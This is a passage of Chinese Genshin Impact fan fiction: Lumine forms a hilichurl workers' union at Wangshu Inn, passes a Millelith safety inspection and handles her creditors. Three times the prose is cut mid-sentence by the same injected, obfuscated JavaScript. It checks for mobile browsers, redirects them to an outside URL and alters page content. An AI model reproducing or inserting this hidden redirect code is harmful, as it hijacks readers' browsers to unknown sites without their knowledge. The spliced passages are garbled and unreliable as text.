第一条：工作时间——每日工作不超过八小时，超时需支付加班费。第二条：薪酬制度——最低工资：每月500摩拉或等值食物。第三条：休假制度——每周至少休息一天。第四条：工作环境——雇主需提供安全的工作环境，不得虐待员工。第五条：福利保障——雇主需为员工提供基本医疗保障。 派蒙看着章程："荧，你写得好详细。" 荧说："当然。我这叫''理论基础，实操也要基础''！不详细怎么保护丘丘人的权益？" 她贴出公告： 望舒客栈成立璃月丘丘人工会保障丘丘人员工的合法权益 欢迎所有丘丘人加入工会主席：荧（兼任） 公告贴出去第二天，就有好几个商户来询问。 "你们真的成立工会了？" 荧理所当然："对。我现在是''丘丘人工会主理人''了。" 商户问："那我们想雇佣丘丘人，要怎么办？" 荧说："遵守工会章程，签订劳动合同，定期接受工会检查。另外，每雇佣一个丘丘人，需要向工会缴纳100摩拉的管理费。" 商户们：？？？ "还要管理费？！" 荧微笑："当然。工会要运营、要办公、要给丘丘人维权，都需要成本。100摩拉不算多吧？" 在心里她疯狂盘算：嘿嘿，这波是垄断生意！每家商户100摩拉，十家就是1000摩拉！以后丘丘人遍布璃月，我光靠管理费就能躺赚！(?? ? ?) 商户们面面相觑，有人说："这么麻烦？" 荧说："不麻烦。这是为了保护员工权益，也是为了保护雇主。如果以后出了问题，工会会帮忙协调。而且有工会认证，你们的店铺也更正规，客人更信任。" 商户们想了想，觉得有道理："那我们先看看效果。" 工会成立一周后，荧召开了第一次"丘丘人工会会议"。 与会者：初号机、二号机、三号机、四号机、五号机。 旁听者：若干史莱姆（它们也凑热闹）。 记录员：派蒙(。?ω?。) 荧站在前面，拿着小黑板："今天的议题是：烤史莱姆的分配制度。大家有什么意见？" 五只丘丘人齐刷刷地坐好。 初号机举手："呀！" 荧说："初号机请讲。" 初号机站起来，开始跳舞。 它的舞蹈动作很明确——先做出搬货的动作（弯腰、抬、放下，动作重复三次强调"很多"），然后做出吃东西的动作（大口大口），接着比划出"多"的手势（双手张开）。 荧看懂了："你是说，谁干活多，谁就多吃？按劳分配？" 初号机用力点头："呀呀！" 二号机立刻跳起来，摇头："呀呀呀！" 它也开始跳舞。 它的舞蹈是另一种风格——先指指自己，然后做出"我有经验"的动作（摸下巴思考状），接着做出"教新人"的动作（指导手势），最后比划"应该多吃"（理直气壮拍胸脯）。 荧皱眉："你是说，经验多的应该多吃？但你们五个一起来的，哪来的经验差别？" 二号机愣了一下。 它想了想，又跳了一段舞——这次是表现"年龄大"（弯腰驼背，还咳嗽两声），然后"先吃"（抢先吃的动作）。 荧恍然大悟："哦，你是说年龄大的优先？按辈分？" 二号机点头："呀！" 初号机不同意："呀呀呀！" 它又跳起来，这次动作更夸张——疯狂搬货（动作快到像开了加速器），累得气喘吁吁（夸张地喘气），然后只吃一小口（委屈巴巴）。 意思很明显：如果按年龄分，那干活多的就亏了！ 二号机反驳，也跳起来——表演"年纪大、身体弱"（颤颤巍巍），然后"需要营养"（摸肚子），最后"应该照顾老年人"（可怜兮兮）。 两只丘丘人就这样跳着跳着，越跳越激烈。 初号机的舞蹈变成了"劳动之舞"——各种搬货、清扫、做饭的动作连成一串，像在跳街舞battle。 二号机的舞蹈变成了"资历之舞"——摆出各种"我更有经验"的姿势，还加入了转圈、跳跃等花式动作。 场面一度非常混乱。 三、四、五号机在旁边看得目瞪口呆。 派蒙也看呆了(⊙_⊙)："它们这是在battle吗？" 荧扶额："丘丘人辩论赛，用舞蹈。我现在算是见识到了魔丸和灵珠的两极反差。" 两只丘丘人越跳越激烈，甚至开始互相模仿对方的动作，然后用更夸张的版本反驳。 初号机模仿二号机的"颤巍巍"，但加了个踉跄差点摔倒的动作，讽刺意味十足。 二号机模仿初号机的"疯狂搬货"，但故意搬得东倒西歪，暗示"蛮力没用"。 场面彻底失控。 史莱姆们在旁边也开始晃动，好像在给它们加油。 荧忍无可忍，拍桌子："都别吵了！" "砰！" 两只丘丘人立刻停下来，僵在原地。 "呀？" 荧深吸一口气："你们说的都有道理。但现在望舒客栈周围元素力充足，史莱姆数量稳定，每天的烤史莱姆供应完全够。这样吧——" 她举起两根手指："每人发双份！" 五只丘丘人愣了一下，然后集体欢呼。 "呀呀呀！" 它们齐刷刷地喊："老板英明！" （学的，璃月口音，还挺标准） 荧震惊："你们什么时候学会说璃月话了？！而且发音这么标准？！" 初号机挠头："呀呀。" （听客人说多了，就学会了。我们丘丘人学习能力很强的） 荧无语：这智商高得离谱吧！比我原世界的同事强多了！ 在心里吐槽：等等，它们要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988405|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再进化一下，会不会反客为主把我这个老板架空了？我不会是在培养竞争对手吧？(:з」∠) 就在这时，会议室的门突然被撞开。 "呀呀呀！" 一只野生丘丘人冲了进来，手里还拿着一根木棒。 荧吓了一跳："什么情况？！" 野生丘丘人冲到桌子前，"砰"地一声把木棒拍在桌上。 "呀呀呀！" （它在说什么？） 初号机走过去，和野生丘丘人交流了几句。 然后它回头，对荧做手势。 荧看懂了："你是说，它想加入工会？" 初号机点头："呀。" 荧松了口气："原来是来入会的。那就办手续吧——" 初号机摇头："呀呀呀。" （不是，它是来要饭的） 荧：？？？ 派蒙：？？？ 野生丘丘人可怜巴巴地看着荧，又指指桌上的烤史莱姆。 "呀呀。" （它说它饿了，听说工会发食物，就来了） 荧扶额："所以它不是来入会的，是来蹭饭的？" 初号机点头："呀。" 荧看着野生丘丘人，又看看桌上的烤史莱姆。 她叹了口气："算了，给它一份吧。但是要说清楚，这不是白给的。想要食物，就得加入工会，加入工会就得遵守规则，而且吃了我的东西就得干活！" 初号机对野生丘丘人解释了一番。 野生丘丘人听完，用力点头。 "呀！呀！呀！" （我加入！我遵守！我听话！我干活！） 荧说："好吧。那你就是工会的第六个成员了。从今天起，你叫六号机，是工会成员兼客栈临时工。明白吗？" 六号机兴奋地点头："呀呀！" 在心里荧吐槽：我这工会刚成立，就有丘丘人上门要饭了。以后是不是得开个救济站？不行不行，这样下去我会破产的！得想办法让它创造价值！ 她对六号机说："你的工作是帮二、三、四、五号机一起去野外采摘可食用的野菜和果子。每天早上出发，中午之前回来。干得好有奖励，干不好扣烤史莱姆。明白吗？" 六号机用力点头："呀呀！" （明白！） 它拿着烤史莱姆，开心地吃了起来。 派蒙小声说："荧，你这是在发展下线吗？" 荧理直气壮："这叫扩大工会规模！工会成员越多，影响力越大，以后谈判的时候腰杆子就越硬！" 在心里她补充：而且每个成员都能干活，六号机这种临时工虽然不拿工资，但至少能帮忙采摘野菜，降低成本！这波是可持续盈利模式！(?? ? ?) 会议结束后，陈先生又来了。 他带着另外两个商户协会的人："荧老板，听说您成立了丘丘人工会？" 荧把章程递给他："对。而且刚刚开完第一次会议。" 陈先生认真看了一遍章程，点头："很规范。而且我们刚才在门外听到了会议内容——" 荧惊讶："您一直在外面？" 陈先生微笑："对。丘丘人能用舞蹈辩论，说明它们有很高的智慧和社会性。而且您的管理方式很人性化，这让我们更有信心推广这个模式。" 荧尴尬："那个，它们辩论归辩论，但最后还是我拍板的。" 陈先生说:"这就够了。只要证明丘丘人能听从指挥、遵守规则、不会突然失控，就可以大规模推广。不过，还需要通过千岩军的安全审核。" 荧紧张："千岩军什么时候来？" 陈先生说："明天。" 荧震惊:"明天？！这么快？！" 陈先生说："对。毕竟越早审核，越早推广。您准备一下，千岩军会检查员工管理、应急预案、安全措施等。" 陈先生走后，荧立刻召集六只丘丘人（包括刚加入的六号机）："明天千岩军要来审核！你们给我表现好点！" 六只丘丘人立刻立正。 "呀！" 派蒙紧张(′?ω??`)："荧，明天会不会出什么意外？" 荧咬牙："管不了那么多了！反正该准备的都准备了！" 初号机走过来，拍了拍荧的肩膀："呀呀。" （别担心，我们会好好表现的） 荧看着六只整齐站立的丘丘人，深吸一口气："好！明天就看你们的了！要是审核通过，每人奖励三份烤史莱姆！要是审核不过——" 六只丘丘人齐声："呀呀呀！" （一定通过！） 荧看着它们坚定的样子，突然有点感动。 她说："行！那就这么定了！今天早点休息，明天打起精神来！" 丘丘人们兴奋地跑回仓库。 派蒙飘过来："荧，你说千岩军会不会很严格？" 荧瘫在椅子上："肯定很严格。但是，敬自己一杯，今天先不想了，爱你老己！" 11. 千岩军来查岗 第二天一早，荧就开始紧张了。 她把六只丘丘人召集起来，反复强调："今天千岩军要来审核，你们一定要表现好！不要乱跑，不要乱叫，不要做任何奇怪的动作！" 六只丘丘人齐刷刷地点头："呀！" 荧继续说："如果千岩军问问题，你们就站好，让我来回答。听懂了吗？" "呀呀！" 派蒙在旁边安慰(っ′ω`c)："荧，你太紧张了。它们平时表现都很好，应该没问题的。" 荧叹气："我就是担心它们太兴奋，做出什么意外举动。" 在心里吐槽：千岩军可是璃月的官方机构啊！要是审核不通过，工会就黄了，商户协会也不会推广，我这一个月的努力就白费了！(:з」∠) 就在这时，升降机的声音响起。 一队千岩军走上了望舒客栈的平台。 为首的是一个看起来很严肃的小队长，身后跟着三个士兵。 小队长走到荧面前，敬了个礼："你好，我是千岩军第三小队的队长，姓方。我们今天来进行魔物员工的安全审核。" 荧紧张地回礼："您好方队长。请问需要检查什么？" 方队长拿出一份文件："我们需要检查员工证件、工作环境、安全措施、应急预案等。请配合。" 荧赶紧说："没问题！我这就带您参观！" 方队长点头，开始环视客栈。 他的目光很快落在了六只丘丘人身上。 六只丘丘人整齐地站成一排，一动不动。 方队长走过去，仔细打量它们："这就是你们雇佣的丘丘人？" 荧说："对。它们都有健康证，工作认真，从来没出过任何问题。" 方队长说："我需要清点一下。你们一共有多少个秋秋人？" 荧：？？？ 派蒙：？？？ 荧愣了一下："呃，是丘丘人，不是秋秋人。" 方队长皱眉："丘丘人？我说的就是丘丘人啊。你们有多少个？" 荧说："六个。" 方队长记录："六个秋秋人。" 荧忍不住纠正："是丘丘人！不是秋秋！" 方队长抬头："我知道是丘丘人。我的璃月港口音可能有点重，但我说的就是丘丘人。" 荧：行吧。 派蒙在旁边憋笑(＞﹏＜) 在心里荧吐槽：这什么魔性口音！秋秋人和丘丘人能一样吗？！算了算了，不纠结这个了！ 方队长继续说："请出示它们的健康证。" 荧赶紧拿出五份健康证："这是初号机、二号机、三号机、四号机、五号机的健康证。六号机是临时工，健康证还在办理中。" 方队长接过证件，一份一份仔细检查。 "初号机，健康。" "二号机，健康。" "三号机，健康。" "四号机，健康。" "五号机，健康。" 他抬头看向六号机："临时工也需要健康证。在证件办下来之前，它不能接触食品相关工作。" 荧赶紧说："明白！六号机现在只负责采摘野菜，不接触厨房！" 方队长点头："很好。接下来检查工作环境。" 他开始检查客栈的各个区域——厨房、仓库、地窖、史莱姆抚摸区、自助沙拉区。 每到一个地方，他都拿着小本子认真记录。 "厨房：符合食品安全标准，有消毒设备，生熟分开。" "仓库：整洁有序，食材分类存放。" "地窖：史莱姆和食材已分开存放，符合要求。" "史莱姆抚摸区：有围栏，有警示牌，史莱姆有工牌。" "自助沙拉区：与厨房分开，有白术先生的食品检测报告。" 荧跟在他后面，越来越放松。 在心里激动：看起来没什么问题！白术的清单没白改！这波要过了！(?′ヮ`)?*: ?? 方队长检查完环境，回到前台："环境检查合格。接下来是安全措施检查。" 他看向六只丘丘人："请问你们如何确保丘丘人不会突然失控攻击客人？" 荧说："首先，它们都是经过驯化的，性格温和。其次，我们有严格的管理制度——工作时间、休息时间都有规定，不会让它们过度疲劳。第三，我们每天会观察它们的状态，如果有异常立刻处理。" 方队长继续问："如果真的发生了丘丘人失控的情况，你们有应急预案吗？" 荧愣了一下。 在心里崩溃：应急预案？！我没想过这个啊！万一它们真的失控怎么办？！(；′⌒`) 她硬着头皮说："呃，如果发生这种情况，我会立刻疏散客人，然后用，用——" 派蒙小声提醒："用食物安抚它们？" 荧眼睛一亮："对！用食物安抚它们！丘丘人最爱吃烤史莱姆，只要给它们食物，它们就会冷静下来！" 方队长皱眉："只靠食物？" 荧补充："而且我还会联系千岩军！您看，客栈离璃月港不远，千岩军可以很快赶到！" 方队长想了想："这个理由勉强可以接受。但我建议你们准备一些防御措施，比如捕网、镇定剂之类的。" 荧赶紧点头："好的好的！我这就去买！" 在心里吐槽：捕网？镇定剂？这得花多少钱啊！但为了通过审核，买买买！ (:з」∠) 方队长记录完毕："最后一项检查——丘丘人的服从性测试。" 荧紧张："服从性测试？" 方队长说："对。我需要确认它们能听从指挥，不会擅自行动。" 他走到六只丘丘人面前，严肃地说："全体立正！" 六只丘丘人立刻立正。 "呀！" 方队长："向右转！" 六只丘丘人齐刷刷地向右转。 "呀呀！" 方队长："原地踏步！" 六只丘丘人开始原地踏步，步调整齐。 "呀呀呀！" 方队长越看越满意。 他转向荧："它们的训练水平很高。是谁训练的？" 荧尴尬："呃，它们自己学的。" 方队长：？？？ "自己学的？" 荧解释："它们看客人和千岩军的动作，就学会了。丘丘人的学习能力很强。" 方队长沉默了几秒。 他记录："丘丘人智力水平高于预期，具备自主学习能力。" 就在这时，初号机突然做出了一个决定。 它走到队伍最前面，转身面对方队长。 然后—— 它开始跳舞。 荧：？？？ 派蒙：？？？ 方队长：？？？ 初号机的舞蹈动作非常正式—— 先是鞠躬（90度标准鞠躬），然后敬礼（右手举到额前），接着列队（做出集合的手势），最后摆出"欢迎"的姿势（双手前伸，做出引导状）。 整套动作行云流水，像是彩排过无数次一样。 方队长看完，整个人都僵住了。 他沉默良久，然后问荧："这是你教的？" 荧诚实地回答："我没教啊，它自己跳的。" 方队长更沉默了。 他转向身后的士兵："你们看到了吗？" 三个士兵齐声："看到了！" 方队长深吸一口气："千岩军训练新兵三个月才能做到这个水平。这只丘丘人是怎么学会的？" 荧也很懵："我也不知道。可能是它看千岩军巡逻看多了？" 在心里她吐槽：初号机你疯了吗？！我让你们别乱动，你居然跳了个"欢迎领导莅临指导"舞？！虽然看起来很专业，但这也太夸张了吧？！Σ(っ°Д °;)っ 方队长沉思片刻："这只丘丘人的智力水平和模仿能力远超一般魔物。如果全璃月的丘丘人都有这个水平，那魔物劳工制度确实可以推广。" 荧眼睛一亮："所以我们通过审核了？" 方队长点头："从目前来看，你们的管理很规范，丘丘人也很听话，没有发现安全隐患。" 他在文件上签字："望舒客栈魔物员工安全审核——通过。" 荧激动得差点跳起来："太好了！谢谢方队长！" 派蒙也开心(ノ≧?≦)ノ："我们过了！" 六只丘丘人集体欢呼："呀呀呀！" 方队长收好文件："不过，我还有个私人问题想请教。" 荧说："您说！" 方队长有点不好意思地说："其实我们千岩军有个困扰，就是和野外丘丘人部落沟通很难。如果你们能帮忙当''翻译''，比如教我们一些基本的丘丘语——" 荧立刻说："翻译费怎么算？" 方队长被她的商业头脑震惊了："呃，这个，我们可以支付一定的费用。" 派蒙在旁边嘀咕："这算不算通敌？" 荧翻了个白眼："什么通敌！这叫促进璃月和平！" 在心里她疯狂盘算：千岩军要请我当翻译？！这可是长期稳定的收入啊！而且还能和官方建立关系，以后客栈有什么事也好办！这波是战略合作！(?? ? ?) 她对方队长说："这样吧，我可以安排初号机定期去千岩军总部，教你们基础丘丘语。每次课程收费500摩拉。" 方队长想了想："可以。我回去向上级汇报。" "好的！" 方队长带着士兵离开了。 荧目送他们走进升降机，然后整个人瘫在椅子上："呼——终于过了！" 派蒙也松了口气："我刚才紧张死了！" 荧转向初号机："初号机，你刚才那个舞是怎么回事？" 初号机挠头："呀呀。" （我看千岩军很严肃，想给他们留个好印象，就跳了个欢迎舞） 荧无语："你这脑子转得也太快了吧！" 在心里她吐槽：初号机这情商和应变能力，比我原世界的同事强太多了！以后是不是该给它升职加薪？算了，先给三份烤史莱姆当奖励吧！ 她拍了拍初号机的肩膀："干得漂亮！今天晚上每人三份烤史莱姆！" 六只丘丘人欢呼："呀呀呀！" 就在这时，陈先生又来了。 他带着商户协会的其他成员，笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988406|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满面："荧老板，恭喜！听说审核通过了？" 荧说："对！刚刚通过！" 陈先生点头："那我们璃月商户协会就可以正式推广魔物劳工制度了。接下来会有很多商户来咨询雇佣丘丘人的事宜，你们工会要做好准备。" 荧兴奋："没问题！我们望舒客栈会推出魔物派遣服务，有需求的商户都可以来我们这里预订。" 陈先生继续说："对了，为了庆祝审核通过，今晚商户协会想在望舒客栈办个小型庆祝宴。费用我们出，就当是对你们的支持。" 荧眼睛一亮："好啊！" 在心里盘算：庆祝宴？！那肯定会有很多商户来！这波是免费宣传啊！而且商户协会出钱，我还能赚一笔！这波不亏！ 当晚，望舒客栈热闹非凡。 十几个商户来参加庆祝宴，品尝客栈的杏仁豆腐和自助沙拉，观看丘丘人的舞蹈表演，抚摸史莱姆。 荧忙前忙后，接待客人，介绍工会章程，解答各种问题。 庆祝宴结束后，陈先生结账："今晚一共消费10000摩拉。这是钱。" 荧接过钱，心里乐开了花。 在心里激动：10000摩拉！虽然不多，但这是白赚的啊！而且还打响了知名度！以后肯定会有更多客人来！ (?′ヮ`)?*: ?? 送走最后一批客人，荧瘫在椅子上。 派蒙飘过来："荧，今天真是累坏了。" 荧说："累是累，但值得。审核通过了，工会也正式运作了。" 她拿出账本，开始算账。 昨日余额：54,600摩拉 今日收入： ?庆祝宴收入：10000摩拉 今日支出：0摩拉 今日余额：64,600摩拉 荧看着账本上的数字，突然说："派蒙，你还记得我们欠了多少债吗？" 派蒙想了想："50万摩拉。" 荧点头："我们现在账上有64,600摩拉。虽然还欠很多，但至少有了第一笔可以还的钱。" 派蒙眼睛一亮："你是说要还债了？" 荧说："对。我想先还一部分给散户债主。虽然不多，但至少表明我们有诚意，也有能力还钱。" 她站起来："走，明天去找债主们。" 第二天一早，荧召集了几个主要的散户债主。 他们来到客栈，都有点疑惑。 "荧老板，找我们有什么事？" 荧深吸一口气，拿出一袋摩拉："各位，我今天叫你们来，是想还债。" 债主们愣住了："还债？" 荧点头："对。我知道欠你们很久了，也知道你们一直在等。这段时间客栈经营得还不错，赚了一些钱。我想先还5万摩拉给大家。" 她把钱袋放在桌上。 债主们面面相觑，然后有人上前打开钱袋，数了数。 "真的是5万摩拉。" 其他债主也围过来，确认钱数。 带头的债主——一个胖胖的大叔——看着荧，声音有点哽咽："荧老板，我们以为你会一直拖着，没想到你真的赚到钱了，还主动来还债。" 荧苦笑："我虽然穷，但说话算话。欠债还钱，天经地义。" 大叔说："那剩下的债——" 荧说："剩下的我会继续还。可能需要点时间，但我一定会还清的。" 大叔点头："好！我们信你！" 其他债主也纷纷表示理解。 "荧老板是个靠谱的人！" "我们等得起！" "加油！" 荧看着这些债主们信任的眼神，鞠了个躬："谢谢大家的信任。我不会让你们失望的。" 债主们离开后，荧拿出账本，更新数据。 今日财务报告： 昨日余额：64,600摩拉 今日还债：50,000摩拉（还给散户债主） 当前余额：14,600摩拉 剩余债务： ?散户：200,000摩拉（原25万，已还5万） ?北国银行：250,000摩拉 ?总计：450,000摩拉 派蒙飘过来，看着账本上的数字："荧，账上只剩14,600摩拉了。" 荧合上账本："嗯。" "你不担心吗？" 荧把账本塞进抽屉："担心有什么用？该花的钱花了，该还的债还了，剩下的就继续赚呗。" 初号机走过来，递给她一份清单——明天要采购的食材。 荧接过清单，扫了一眼："知道了。明天一早你去璃月港采购，顺便给白术送杏仁豆腐。" "呀！" 初号机转身走了。 派蒙说："荧，你说我们什么时候能把45万都还清？" 荧摆摆手："别想那么远。先把明天的生意做好再说。" 她站起来，拍了拍身上的灰："走了，去检查一下史莱姆抚摸区。晚上还要给丘丘人们发烤史莱姆呢。" 派蒙跟上："对了，你答应过它们每人三份的！" 荧说："我知道。反正史莱姆不缺，随便烤。" 12. 追债风波 还债后的几天，客栈生意越来越好。 商户协会推广魔物劳工制度的消息传开后，每天都有商户来咨询雇佣丘丘人的事。 荧忙得不可开交——接待客人、介绍工会章程、安排丘丘人试工、收管理费。 账本上的数字慢慢增加。 她坐在前台，看着账本，嘴角上扬。 在心里盘算：按这个速度，今年内还清45万不是梦！只要稳定发展，再开发几个新项目，说不定半年就能翻身！ 派蒙飘过来："荧，你笑得好开心。" 荧说："当然开心。你看，这几天光管理费就收了1500摩拉，自助沙拉区每天也有七八百的收入，再加上史莱姆抚摸区和住宿——" 就在这时，升降机的声音响起。 一群人走上平台。 十几个人，气势汹汹。 荧愣了一下："这么多客人？" 派蒙也兴奋："是不是来参观的？" 结果那群人走到前台，为首的一个光头大汉"砰"地一拍桌子："荧！你什么时候还钱！" 荧：？？？ 派蒙：？？？ 光头大汉说："我是老王，你还记得吗？你欠我三千摩拉！已经拖了半年了！" 其他人也纷纷开口。 "我是老李，你欠我两千！" "我是老张，五千！" "我欠了八千！" 荧看着这群债主，脑子有点懵。 在心里崩溃：等等！我前几天不是刚还了5万吗？！怎么又来一批债主？！ 她赶紧说："各位各位，冷静！我知道欠你们钱，但我这不是在努力赚钱吗？你们看，客栈现在生意多好——" 老王打断她："我不管你生意好不好！我就要钱！今天不还钱，我们就不走了！" 其他债主附和："对！不还钱不走！" "我们在门口坐着！" "让你做不成生意！" 荧头疼：这什么情况啊！ 派蒙小声说："荧，怎么办？" 荧看了看账本——账上只有一万多摩拉，这群债主加起来至少欠了好几万。 在心里她吐槽：我前几天刚还了5万，账上的钱根本不够还这批！而且就算还了，以后的经营资金怎么办？！(:з」∠) 她硬着头皮说："各位，我现在手头真的紧。能不能再等等？" 老王冷笑："等？我们已经等了半年了！" "对！不能再等了！" "今天必须还钱！" 场面一度非常混乱。 就在这时，初号机走了出来。 它看到一群人围着荧，以为是有客人来了。 它走到队伍前面，开始跳舞。 标准的欢迎舞——鞠躬、敬礼、引导。 债主们：？？？ 老王愣住："这是什么情况？" 其他债主也看懵了："这丘丘人在干嘛？" 荧眼睛一转，突然想到一个主意。 她立刻说："各位！这是我们客栈的特色表演！丘丘人欢迎舞！" 老王皱眉："表演？我们是来要债的，不是来看表演的！" 荧说:"我知道我知道！但你们看，这个表演很精彩对吧？要不这样，你们看一次表演，我就给你们抵50摩拉的债！" 债主们面面相觑。 有人问："看表演能抵债？" 荧点头："对！而且我们客栈还有其他服务！你们可以摸史莱姆，一次抵10摩拉！可以住宿，一晚抵500摩拉！可以吃自助沙拉，一次抵60摩拉！" 在心里她疯狂盘算：虽然抵债不等于还钱，但至少能让他们消消气！而且说不定他们体验完服务，觉得客栈有前途，就愿意再等等了！这波是情绪消费的逆向操作！ 老王犹豫："这个，能行吗？" 其他债主也在讨论。 "看表演能抵50？" "摸史莱姆10块？" "住宿500？" 荧继续推销："而且我们的服务都是高质量的！丘丘舞是千岩军认证的专业水平！史莱姆抚摸区有白术先生的安全保障！住宿环境干净整洁！" 老王想了想："那，我看两次表演，抵100？" 荧立刻说："没问题！" 其他债主一听，也纷纷表示要体验。 "我也要看表演！" "我要摸史莱姆！" "我要住一晚！" 荧松了口气。 在心里激动：成了！虽然债没少，但至少不用现在掏钱了！ 她立刻安排： "初号机，继续表演！二号机，带他们去史莱姆抚摸区！三号机，准备客房！" 六只丘丘人立刻行动。 初号机开始跳完整版的丘丘舞——欢迎舞、劳动舞、庆祝舞，一套接一套。 债主们看得目瞪口呆。 "这丘丘人跳得真好！" "比璃月戏班子的演员还专业！" "值50摩拉！" 二号机带着几个债主去了史莱姆抚摸区。 债主们看到一排排史莱姆，都很好奇。 "这些史莱姆不会攻击人吗？" 二号机摇头："呀呀。" （不会，它们有工牌，是员工） 一个债主小心翼翼地摸了摸水史莱姆。 "哇！好软！好Q弹！" 其他债主也围过来。 "我也要摸！" "这个火史莱姆好暖和！" "雷史莱姆有点麻麻的！" 场面瞬间从"追债风波"变成了"游客观光"。 荧在前台记账。 "老王，看了两次表演，抵100摩拉。" "老李，摸了五次史莱姆，抵50摩拉。" "老张，住宿一晚，抵500摩拉。" 派蒙在旁边小声说："荧，你这招也太厉害了吧！" 荧小声回答："没办法，账上没钱，只能用服务抵。反正他们体验完，说不定就不催了。" 在心里她补充：而且这波还能做口碑宣传！债主回去肯定会说望舒客栈的特色服务，免费广告啊！(?? ? ?) 一个下午过去。 十几个债主把客栈的各种服务都体验了一遍。 有人看了三次丘丘舞（抵150摩拉）。 有人摸了二十次史莱姆（抵200摩拉）。 有人住了一晚（抵500摩拉）。 还有人点了自助沙拉（抵60摩拉）。 荧忙前忙后，一边记账，一边安排。 傍晚时分，债主们聚在一起算账。 老王说："我看了两次表演，摸了十次史莱姆，吃了一次沙拉，一共抵了210摩拉。" 老李说："我住了一晚，看了一次表演，抵了550摩拉。" 其他债主也纷纷报数。 最后，十几个债主一共抵了将近三千摩拉的债务。 但他们的心情明显好多了。 老王说："荧老板，你这客栈确实不错。我本来以为你是骗子，现在看来你是真的在努力经营。" 荧赶紧说："对对对！我肯定会还钱的！就是需要点时间！" 老李说："那行吧，我们再等等。不过你得保证，以后定期还一点。" 荧点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988407|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头："没问题！我保证！" 债主们满意地离开了。 荧瘫在椅子上，长舒一口气。 派蒙说："荧，你好厉害！居然把债主变成客人了！" 荧苦笑："也没多厉害，就是临场应变而已。" 在心里她吐槽：虽然化解了危机，但债还是那么多啊！而且账上的钱不增反减！这波是亏本赚吆喝！(:з」∠) 就在这时，又有几个普通客人来了。 他们不是债主，是听说望舒客栈有特色服务，专程来体验的。 "听说你们这里有丘丘人表演？" "还能摸史莱姆？" 荧精神一振："对！欢迎欢迎！" 这批客人是付钱的。 看表演50摩拉，摸史莱姆10摩拉，住宿500摩拉。 一个下午，这批普通客人消费了3250摩拉。 荧看着账本上的数字，心情好了一点。 在心里她想：至少不是全亏！还有普通客人在消费！ 傍晚时分，所有客人都离开了。 荧开始整理账本。 昨日余额：14,600摩拉 今日收入： 普通客人消费：3,250摩拉 今日抵债（不计入收入）： 债主服务抵债：约3,000摩拉价值 今日支出：0摩拉 今日余额：17,850摩拉 债务状况：450,000摩拉（抵债只能算利息，总债务不变） 派蒙看着账本："荧，虽然抵了三千摩拉的债，但总债务还是45万。" 荧说："我知道。抵债只是缓兵之计，真正还债还得靠赚钱。" 她合上账本："不过至少今天没出大问题，还赚了三千多。" 就在这时，老王突然又出现了。 他脸色不太好，捂着肚子。 "荧老板，我，我有点不舒服。" 荧紧张："怎么了？" 老王说："我刚才吃了杏仁豆腐，现在肚子有点疼。" 荧：！！！ 派蒙：！！！ "你吃的是我们客栈的杏仁豆腐？！" 老王点头："对，就是那个自助区的。" 荧赶紧扶他坐下："你等等，我去拿药！" 她冲进仓库，翻找药箱。 在心里她疯狂吐槽：完了完了！不会是食物中毒吧？！白术不是检查过了吗？！怎么还会出事？！Σ(っ°Д °;)っ 她拿着药回来，递给老王："你先吃点药，我马上联系白术先生！" 老王吃了药，脸色稍微好了一点。 "没事没事，可能就是吃太多了。" 荧松了口气："那就好。你今晚先住下，明天我让白术先生来检查一下。" 老王离开后，荧陷入了沉思。 派蒙担心："荧，不会真的是食物有问题吧？" 荧说："不知道。白术先生之前检查过，说没问题。但老王吃完确实不舒服，这事不能大意。" 她拿出纸笔："明天一早，我就去找白术。一定要查清楚是怎么回事。" 派蒙点头："嗯。" 荧看着窗外的夜色。 初号机走过来，递给她明天的采购清单。 荧接过清单："知道了。明天你去采购的时候，顺便告诉白术先生，让他来一趟客栈。" "呀！" 派蒙说："荧，你说会不会很严重？" 荧摆摆手："别瞎想。可能就是老王肠胃不好。" 她站起来："走了，去检查一下厨房。既然出了这事，所有食材都得再查一遍。" 13.追债中毒风波 清晨，初号机背着竹篓出门了。 按照惯例，他每天都要给白术先生送一份客栈做的菜——今天是香菱新研发的莲花酥和三号机做的红焖兽肉。顺便还要去璃月港采购食材。 荧站在一楼前台，看着初号机沿着大路往璃月港方向走，背影越来越小，最后消失在路的尽头。 她翻开账本。 今天是告示上定的日期——散户债主还款日。 账本上记着，剩下的散户债还有约2万摩拉。但问题是，那次在地窖打翻火把，收据全烧了。 那些收据是前任老板菲尔戈黛特和她的丈夫、客栈掌柜淮安，还钱给债主后，债主开具的。现在收据没了，有的债主肯定会拿着原始欠条来要全额。 派蒙飘过来："荧，你准备怎么办？" 